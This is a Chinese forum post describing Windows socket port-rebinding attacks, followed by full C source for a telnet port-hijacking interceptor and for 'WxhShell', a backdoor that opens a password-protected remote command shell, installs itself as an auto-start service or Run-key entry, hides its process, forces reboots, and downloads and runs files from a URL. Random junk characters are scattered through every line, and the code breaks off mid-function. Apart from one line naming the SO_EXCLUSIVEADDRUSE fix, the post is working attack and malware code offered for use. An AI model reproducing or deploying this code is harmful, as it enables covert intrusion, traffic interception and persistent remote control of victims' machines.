社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 9738阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: D@gC(&U/6  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +cqUp6x.  
i79$D:PcLa  
  saddr.sin_family = AF_INET; $%MgIy  
6bhb_U'f  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); R|M]mwa^w  
n}IGxum8`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); xZ P SUEG  
R$hIgw+p[  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~M{/cv  
; Z7!BU  
  这意味着什么?意味着可以进行如下的攻击: h7q{i|5  
!zF0 7.(E  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5l1R")0`t_  
7<!x:G?C  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) f^B'BioW(  
{qi #  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 '(3 QyCD  
P@ew' JL%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8`urkEI^r  
5(J?C-Pk  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 D^6iQW+.P  
,o%by5j"^N  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 V~j^   
OxGfLeP.R!  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 1L4-;HYJm  
1b3k|s4   
  #include ~LpkA`Hn!  
  #include \DS*G7.A+&  
  #include Lk,q~  
  #include    SDO:Gma  
  DWORD WINAPI ClientThread(LPVOID lpParam);   'LPyh ;!f  
  int main() 4~h 0/H"  
  { (9I(e^@]  
  WORD wVersionRequested; F+(S-Qk1  
  DWORD ret; [BD`h  
  WSADATA wsaData; \{:A&X~\!  
  BOOL val; jDb\4QyC  
  SOCKADDR_IN saddr; LxhS 9  
  SOCKADDR_IN scaddr; (KyOo,a  
  int err; B2Y.1mXq  
  SOCKET s; NL$z4m0  
  SOCKET sc; GkI'.  
  int caddsize; XdCP!iq*8  
  HANDLE mt; n({%|O<|  
  DWORD tid;   b.RU%Y#>\  
  wVersionRequested = MAKEWORD( 2, 2 ); /Tm+&Jd  
  err = WSAStartup( wVersionRequested, &wsaData ); ?[zw5fUDS  
  if ( err != 0 ) { AF"7 _  
  printf("error!WSAStartup failed!\n"); InbB2l4G  
  return -1; UzaAL9k  
  } GJcxqgk$  
  saddr.sin_family = AF_INET; 4z( B`t~7  
    4bA^Gq  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 7:?\1 a  
T^|k`  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); AaA!U!B  
  saddr.sin_port = htons(23); {24>&<p  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }W}(k2r  
  { o}:x-Y  
  printf("error!socket failed!\n"); fm-m?=  
  return -1; "[?DS  
  } AJEbiP  
  val = TRUE; igA?E56?  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 dB6 ,pY(  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) u'#/vT#l  
  { ;K\2/"$QD  
  printf("error!setsockopt failed!\n"); }WIkNG4{Z  
  return -1; yPtE5"(o  
  } K*T^w3=  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; tW|0_m>{  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 i,<'AL )  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Itr 4 Pr  
#%nV\ Bl  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9n\>Yieu  
  { 2sIt~ Gn  
  ret=GetLastError(); $3 -QM  
  printf("error!bind failed!\n"); Anyy  
  return -1; r_$*euh@  
  } @,.D]43  
  listen(s,2); ?K7uy5Y  
  while(1) r6uN6XCM  
  { "NA<^2W@J  
  caddsize = sizeof(scaddr); XyN " Jr  
  //接受连接请求 JK< []>O  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); }wiyEVAh{  
  if(sc!=INVALID_SOCKET) *w4#D:g  
  { @ !su7  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); k*N!U[]  
  if(mt==NULL) !38KHq^|&  
  { vO2WZ7E!  
  printf("Thread Creat Failed!\n"); tNr'@ls  
  break; cdL]s^z  
  } /g+-{+sx  
  } |3e+ K.  
  CloseHandle(mt); l%_K$$C  
  } 7 nnF!9JOv  
  closesocket(s); a`xAk ^w+  
  WSACleanup(); 8]`#ax 5  
  return 0; .c}+kHv  
  }   hJ`Gu7  
  DWORD WINAPI ClientThread(LPVOID lpParam) */IiL%g4u  
  { /_m )D;!y  
  SOCKET ss = (SOCKET)lpParam; ]$L5}pE3  
  SOCKET sc; (o B4*  
  unsigned char buf[4096]; S=) c7t?a  
  SOCKADDR_IN saddr; v%T'!(0j/  
  long num; a r8iuwfZ  
  DWORD val; $?W2'Xm!V  
  DWORD ret; q}L`8(a  
  //如果是隐藏端口应用的话,可以在此处加一些判断 nX3?7"v  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?lD)J?j  
  saddr.sin_family = AF_INET; ;&CLb`<y  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); b;jdk w|  
  saddr.sin_port = htons(23); $k0(iFzR1  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3A`]Rk   
  { j8Z;}Ps  
  printf("error!socket failed!\n"); K\9CW%W  
  return -1; a-|pSe*rx  
  } k/{WlLN  
  val = 100; *t| !xO  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I?g}q,!]  
  { IXtG 36O  
  ret = GetLastError(); 8Y`g$2SZ^8  
  return -1; -)(=~|,Pq/  
  } M;<!C%K>  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J$yq#LBbR@  
  { G-)e(u   
  ret = GetLastError(); Nf!N;Cy?  
  return -1; iS+"Jsz  
  } i!}k5k*Z  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) [(x<2MTj  
  { $Okmurnn  
  printf("error!socket connect failed!\n"); .5a>!B.I  
  closesocket(sc); _2G _Io  
  closesocket(ss); LXX('d  
  return -1; HJ]v-  
  } $]_SPu  
  while(1) rwXpB<@l@  
  { ,L-/7}"VHA  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #T8o+tv  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 34!.5^T  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 KX9IC 5pR  
  num = recv(ss,buf,4096,0); qI7KWUR  
  if(num>0) j H2)8~P  
  send(sc,buf,num,0); -(?/95 Y  
  else if(num==0) P _fCb  
  break; w~v6=^  
  num = recv(sc,buf,4096,0); ^OQP;5 #K  
  if(num>0) 2LUsqL\m}.  
  send(ss,buf,num,0); %]I#]jR  
  else if(num==0) #d$z W4ur2  
  break; W;I{4ed6  
  } gNP1UH4m  
  closesocket(ss); X,VI5$  
  closesocket(sc); (n7xYGfYS  
  return 0 ; ^ 3 4Ng  
  } *:TwO=)  
`ZEFH7P  
,zx{RDI  
========================================================== +Xw%X3o)  
dQ{qA(m  
下边附上一个代码,,WXhSHELL >&;J/ME  
J@/4CSCR]  
========================================================== k@lJ8(i^qU  
\0 h>!u  
#include "stdafx.h" 9Zl4NV&B  
z9IW&f~~P  
#include <stdio.h> 9k71h`5  
#include <string.h> `{{6vb^g  
#include <windows.h> [ K/l;Zd  
#include <winsock2.h> C <:g"F:k  
#include <winsvc.h> %HpPTjAW  
#include <urlmon.h> }:faHLYT  
8[J%TWq%9  
#pragma comment (lib, "Ws2_32.lib") 05ClPT\BCr  
#pragma comment (lib, "urlmon.lib") `Z,WKus  
#3 E"Ame  
#define MAX_USER   100 // 最大客户端连接数 Kt*b) <  
#define BUF_SOCK   200 // sock buffer :'wxm3f  
#define KEY_BUFF   255 // 输入 buffer A)9]^@,  
3Ed  
#define REBOOT     0   // 重启 eGQ4aQhi  
#define SHUTDOWN   1   // 关机 q-Z<.GTq  
r~T!$Tb  
#define DEF_PORT   5000 // 监听端口 qc,EazmU  
QDYuJ&!h  
#define REG_LEN     16   // 注册表键长度 C2rG3X^~Jm  
#define SVC_LEN     80   // NT服务名长度 wT!?.Y)aj  
ku m@cA  
// 从dll定义API xL_QTj  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %TN$   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,YM=?No  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rR@]`@9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); l=XZBe*[g'  
?@@$)2_*u  
// wxhshell配置信息 F>{bVPh VA  
struct WSCFG { #g$I>\O<  
  int ws_port;         // 监听端口 )wjpxr  
  char ws_passstr[REG_LEN]; // 口令 ru`7iqcz  
  int ws_autoins;       // 安装标记, 1=yes 0=no DDmC3  
  char ws_regname[REG_LEN]; // 注册表键名 mr}o0@5av  
  char ws_svcname[REG_LEN]; // 服务名 0cB]:*W  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .?NfV%vv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vT{(7m!Ra  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p9i7<X2&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `TO Xkt j  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" hb*Y-$Zp  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Cu%BU}(  
4qDO(YWf  
}; e}2?)B`[  
A7Y CSjB  
// default Wxhshell configuration N:3=G`Ws  
struct WSCFG wscfg={DEF_PORT, Pn^:cr|  
    "xuhuanlingzhe", I \1E=6"  
    1, *%jXjTA0D  
    "Wxhshell", ]p+KN>1e  
    "Wxhshell", -n"f>c_{>  
            "WxhShell Service", aoW2c1`?Z  
    "Wrsky Windows CmdShell Service", yx?oxDJg  
    "Please Input Your Password: ", :K~@JlJd  
  1, JQbaD-  
  "http://www.wrsky.com/wxhshell.exe", Nt\07*`qCr  
  "Wxhshell.exe" -]KgLgJ  
    }; m $[:J  
_`=qc/-0  
// 消息定义模块 V#,|#2otZ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ma?uB8o+~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Z*3RI5)dx  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; HHw&BNQG  
char *msg_ws_ext="\n\rExit."; gLt6u|0q  
char *msg_ws_end="\n\rQuit."; {nSgiqd"28  
char *msg_ws_boot="\n\rReboot..."; oVk!C a  
char *msg_ws_poff="\n\rShutdown...";  Yf[Cmn  
char *msg_ws_down="\n\rSave to "; %6lGRq{/?  
rV"3oM]Lo  
char *msg_ws_err="\n\rErr!"; ^[[@P(e>  
char *msg_ws_ok="\n\rOK!"; !8|r$mN8  
'uz o[>p  
char ExeFile[MAX_PATH]; [4qvQ7Y !  
int nUser = 0; 5D/Td#T04  
HANDLE handles[MAX_USER]; *fi`DiO  
int OsIsNt; W="pu5q$5  
g,YF$:e  
SERVICE_STATUS       serviceStatus; BPW.&2?<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~-sgk"$  
EK>x\]O%T  
// 函数声明 >N! Xey  
int Install(void); E5S(1Z}]p{  
int Uninstall(void); gF9GU5T:  
int DownloadFile(char *sURL, SOCKET wsh); Se[=$W  
int Boot(int flag); [%LGiCU]  
void HideProc(void); D`41\#ti  
int GetOsVer(void); aC9iNm8w  
int Wxhshell(SOCKET wsl); 3?aM\z;  
void TalkWithClient(void *cs); 'Sd+CXS  
int CmdShell(SOCKET sock); h{HpI 0q4  
int StartFromService(void); R+0fs$s u  
int StartWxhshell(LPSTR lpCmdLine); h;E.y   
#('R`~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &Pv$nMB$I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |a[" ^ 2  
A-vYy1,'  
// 数据结构和表定义 a>#$&&oQ0  
SERVICE_TABLE_ENTRY DispatchTable[] = sDgo G  
{ ec^{ez@`  
{wscfg.ws_svcname, NTServiceMain}, y<IHZq`C3  
{NULL, NULL} o\tw)_ >  
}; lgt&kdc%o  
=?Co<972Z  
// 自我安装 Q!-"5P X  
int Install(void)  1l}Am>}  
{ VZamR}x  
  char svExeFile[MAX_PATH]; p{qA%D  
  HKEY key; 8M3DG=D  
  strcpy(svExeFile,ExeFile); oVUsI,8  
9gK1Gx:  
// 如果是win9x系统,修改注册表设为自启动 ,?K5/3ss  
if(!OsIsNt) { "6WJj3h N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nRq[il0 `i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Xq"9TYf$  
  RegCloseKey(key); "9c!p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]EN&EA"<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y/mfBkh  
  RegCloseKey(key); k<fR)o  
  return 0; ,,EG"Um6  
    } 7]5+%[Dg!  
  } ~PpU'[  
} "E5=AW d  
else { 'Q7t5v@FF  
jfvlkE-uK  
// 如果是NT以上系统,安装为系统服务 P-^-~/>n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); o}wRgG  
if (schSCManager!=0) YuoErP=P  
{ M?gZKdj  
  SC_HANDLE schService = CreateService $y<`Jy]+)~  
  ( o=5hG9dj  
  schSCManager, ept:<!4  
  wscfg.ws_svcname, {9@E[bWp#  
  wscfg.ws_svcdisp,  .;vd  
  SERVICE_ALL_ACCESS, G'HLnx}Yi  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N1n\tA?  
  SERVICE_AUTO_START, h52+f  
  SERVICE_ERROR_NORMAL, - 3<&sTR  
  svExeFile, ][OkydE  
  NULL, +K=RMqM-8  
  NULL, jt @2S  
  NULL, ,pZz`B#  
  NULL, LBpAR|  
  NULL E>QEI;  
  ); guy!/zQ>A  
  if (schService!=0) E[CvxVCx  
  { KJ-Q$ M  
  CloseServiceHandle(schService); (a,`Y.  
  CloseServiceHandle(schSCManager); 0icB2Jm:D}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &$qIJvMiK  
  strcat(svExeFile,wscfg.ws_svcname); zZ<~yi3A9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *D7oHwDU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q{yzux  
  RegCloseKey(key); gs@^u#O  
  return 0; z;0]T=g  
    } ~Ty6]A  
  } 4g.S!-H@R  
  CloseServiceHandle(schSCManager); FFN.9[Ly  
} k[1[Y{n.  
} s, #$o3  
9 771D  
return 1; uxq#q1  
} M 8mNeh  
1-!|_<EW1  
// 自我卸载 zlh\P`  
int Uninstall(void) a  ?wg~|g  
{ BIvz55g  
  HKEY key; noT}NX%  
iVqF]2 >  
if(!OsIsNt) { a}Jy o!.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {#{nU NW  
  RegDeleteValue(key,wscfg.ws_regname); % e70*;  
  RegCloseKey(key); giN(wPgYP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sg]g;U  
  RegDeleteValue(key,wscfg.ws_regname); @[rlwwG,  
  RegCloseKey(key); r7)iNTQ1  
  return 0; >R/^[([;]  
  } n;dWb$:  
} \>eFs} Y/  
} Dt]FmU  
else { 8wS9%+  
mvtuV`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); } 4>#s$.2  
if (schSCManager!=0) URTJA<r8D  
{ 61TL]S8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6z67%U*8r  
  if (schService!=0) cja-MljD  
  { lo >:S1  
  if(DeleteService(schService)!=0) { r2Q) Q  
  CloseServiceHandle(schService); Lhgs|*M  
  CloseServiceHandle(schSCManager); m )<N:|  
  return 0; 1Imb"E  
  } 0*u X2*  
  CloseServiceHandle(schService); <DdzDbgax  
  } l)0yv2[h  
  CloseServiceHandle(schSCManager); Y9(BxDP_+Y  
} ewinG-hX_  
} *-_joAWTG  
IG@@CH  
return 1; |VoYFoiQ  
} U09@pne8  
;77q~_g$  
// 从指定url下载文件 A'? W5~F  
int DownloadFile(char *sURL, SOCKET wsh) D-5~CK4`  
{ ~/R}K g(  
  HRESULT hr; nx4E}8!Lh  
char seps[]= "/"; t== a(e  
char *token; RQ51xTOL4]  
char *file; 'nqVcNgb  
char myURL[MAX_PATH]; "}UYsXg  
char myFILE[MAX_PATH]; %gx>|  
tgm(tDL  
strcpy(myURL,sURL); Yf^/YLLS  
  token=strtok(myURL,seps); O[')[uo8s  
  while(token!=NULL) gq?~*4H  
  { n %P,"V  
    file=token; Rv+p4RgA  
  token=strtok(NULL,seps); ?x =Sm|Ej  
  } Fd0\T#k  
^TY8,qDA  
GetCurrentDirectory(MAX_PATH,myFILE); SVyJUd_  
strcat(myFILE, "\\"); =}4lx^`oeT  
strcat(myFILE, file); l' Z `%}R  
  send(wsh,myFILE,strlen(myFILE),0); mc5$-}1V,  
send(wsh,"...",3,0); `?Xt ,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }A_>J7w  
  if(hr==S_OK) ~f%AbDye  
return 0; t!vlZNc  
else o)6udRzBv  
return 1; 8"S? Toqq  
evGUSol?:n  
} 5'O.l$)y  
7llEB*dSA  
// 系统电源模块 }\\6"90g*  
int Boot(int flag) T]J#>LBd  
{ zzBqb\Ky  
  HANDLE hToken; JYWc3o6  
  TOKEN_PRIVILEGES tkp; qS+Ilg  
S1n 'r}z8  
  if(OsIsNt) { Y~bGgd]T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); su]ywVoRT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (wsvj61  
    tkp.PrivilegeCount = 1; j~Xn\~*n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4&LoE~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); x@>^c:-f  
if(flag==REBOOT) { =Hs~fHa)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cYEe`?*  
  return 0; ud.Bzg:/  
} 3#T_(  
else { RJI*ZNb A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6hm6h7$F1  
  return 0; Y_Lsmq2!  
}  7QkAr  
  } ,s1n! @9  
  else { ui6B  
if(flag==REBOOT) { <ByDT$E_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) IN9o$CZ:  
  return 0; MRHkQE+K@8  
} P1l@K2r  
else { #[#dc]D  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) KBFAV&  
  return 0; DWH)<\?  
} Uyyw'Ni  
} Kq0hT4w  
J#W>%2 "s  
return 1; &hYjQ&n  
} QcQ|,lA.HI  
 goT:\2  
// win9x进程隐藏模块 JZ=a3)x"  
void HideProc(void) H{T)?J~  
{ dfq5P!'  
YR`Mi.,Sfm  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0IM#T=V  
  if ( hKernel != NULL ) !kfnqe?|  
  { [}_ar  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7e"(]NC84  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); g)iSC?H  
    FreeLibrary(hKernel); !f\6=Z?>3  
  } DEC,oX!bI1  
yMa5?]J  
return; SVo`p;2r  
} T't^pO-`  
v+=_  
// 获取操作系统版本 J=U7m@))Y#  
int GetOsVer(void) K`2a{`  
{ b\\?aR |  
  OSVERSIONINFO winfo; vu.f B4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ic/<jFZXM  
  GetVersionEx(&winfo); JhDjY8?86  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :1>R~2  
  return 1; 2h6F j&  
  else hTn }AsfLY  
  return 0; (Qq$ql27  
} Q\:'gx8`  
{w^flizY  
// 客户端句柄模块 V*'9yk"  
int Wxhshell(SOCKET wsl) E|Grk  
{ 6C/D&+4  
  SOCKET wsh; Z y7@"C  
  struct sockaddr_in client; d*,|?Ar*b  
  DWORD myID; VuZmX1x)N  
rd 1&?X  
  while(nUser<MAX_USER) o#wF/ I  
{ I$wP`gQh  
  int nSize=sizeof(client); _bks*.9}3b  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Gf'V68,l$  
  if(wsh==INVALID_SOCKET) return 1; xI~\15PhG  
uj/le0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ZcO!cR&*'J  
if(handles[nUser]==0) hoeTJ/;dm  
  closesocket(wsh); <ZrZSt+<  
else 1ck2Gxn  
  nUser++; W^+b gg<.  
  } =8dCk\/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R4JO)<'K&  
l>&)_:\  
  return 0; oa1a5+ A  
} ?j0blXl  
z4J-qK~2  
// 关闭 socket |ns^' q  
void CloseIt(SOCKET wsh) :({lXGc}4?  
{ p-; ]O~^  
closesocket(wsh); % e1vq  
nUser--; $C)@GGY  
ExitThread(0); uX0wg  
} cdIy[ 1  
xSOL4  
// 客户端请求句柄 {@ , L  
void TalkWithClient(void *cs) @,aL'2G  
{ $~~=SOd0  
3.d=1|E  
  SOCKET wsh=(SOCKET)cs; d=4MqX r  
  char pwd[SVC_LEN]; d$2{_6  
  char cmd[KEY_BUFF]; cW GU?cv}  
char chr[1]; 3iEcLhe"4  
int i,j; BS|-E6E<  
dadMwe_l0  
  while (nUser < MAX_USER) { w pCS]2  
VBCj.dw  
if(wscfg.ws_passstr) { 8w*fg6,=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aQ~x$T|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Mm[%v t40  
  //ZeroMemory(pwd,KEY_BUFF); MA-$aN_(  
      i=0; ga~vQ7I_  
  while(i<SVC_LEN) { Zz3#Kt5t3  
mifYk>J^9  
  // 设置超时 bo -Gh`  
  fd_set FdRead; x)* /3[  
  struct timeval TimeOut; vp_$6  
  FD_ZERO(&FdRead); <WbD4Q<3?  
  FD_SET(wsh,&FdRead); Vi?Z`G]w!  
  TimeOut.tv_sec=8; x.r`(  
  TimeOut.tv_usec=0; 7R2)Klt  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F9+d7 Y$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  vo(?[[  
X)&Z{ V>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wRiP5U,  
  pwd=chr[0]; Z?Q2ed*j  
  if(chr[0]==0xd || chr[0]==0xa) { Ph%s.YAZ~  
  pwd=0; Dps{[3Y+  
  break; `Ys })Pl  
  } ~fUSmc  
  i++; mpF_+Mn  
    } *nC,= 2  
h?1pGz)[C  
  // 如果是非法用户,关闭 socket lb6s3b  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); oF6MV&q/  
} D&^:hs@  
{Jy%h8n*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \rN_CBM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UQdQtj1'  
Cg|uHI*  
while(1) { 88*RlxU  
yR$_$N+E  
  ZeroMemory(cmd,KEY_BUFF); ( gFA? aD<  
&sNID4FR  
      // 自动支持客户端 telnet标准   aw4+1.xy  
  j=0; T8(wzs  
  while(j<KEY_BUFF) { ^+wzm2i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t/D Q<B_  
  cmd[j]=chr[0]; 1*jL2P]D  
  if(chr[0]==0xa || chr[0]==0xd) { y^Jv?`jw  
  cmd[j]=0; 1!C,pXU#:  
  break; AP7W)S  
  } R`?^%1^N  
  j++; 6;b 'j\jG  
    } Uy1xNb/d  
[ O)Zof  
  // 下载文件 ;VH]TKkk  
  if(strstr(cmd,"http://")) { <EUSl|6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "PHv~_:^R  
  if(DownloadFile(cmd,wsh)) g|HrhUT;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9]w0zUOL6  
  else ^U?(g0<"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0X-2).n u  
  } \O?B9_  
  else { stG&(M  
&sgwY  
    switch(cmd[0]) { *u>\&`h=  
  3.H-G~  
  // 帮助 `;qZ$HH  
  case '?': { M0e|G.S&_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >y~_Hh(TSL  
    break; E!<$J^  
  } 9C 05  
  // 安装 //,'oh~W  
  case 'i': { <`*P/V  
    if(Install()) #]N9/Hij#g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^k(eRs;K  
    else . R}y"O\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bLzuaNa'  
    break; |K-lg rA  
    } y m{/0&7  
  // 卸载 )l}wjKfgO  
  case 'r': { O*v+<|0!l  
    if(Uninstall()) M!l5,ycF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D` X6'PP  
    else 8} k,!R[J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Kzu9Qm-+z^  
    break; F?ebY k1  
    } 9GwsQ \  
  // 显示 wxhshell 所在路径 >[: 2  
  case 'p': { c):*R ]=  
    char svExeFile[MAX_PATH]; `6$b1qv,  
    strcpy(svExeFile,"\n\r"); =k7\g /  
      strcat(svExeFile,ExeFile); mX?{2[  
        send(wsh,svExeFile,strlen(svExeFile),0); zn!  
    break; n1>nnH]G  
    } K@~#Gdnl  
  // 重启 }x1IFTa!  
  case 'b': { G0> Wk#or  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I yN9 +  
    if(Boot(REBOOT)) Y]K]]Ehp  
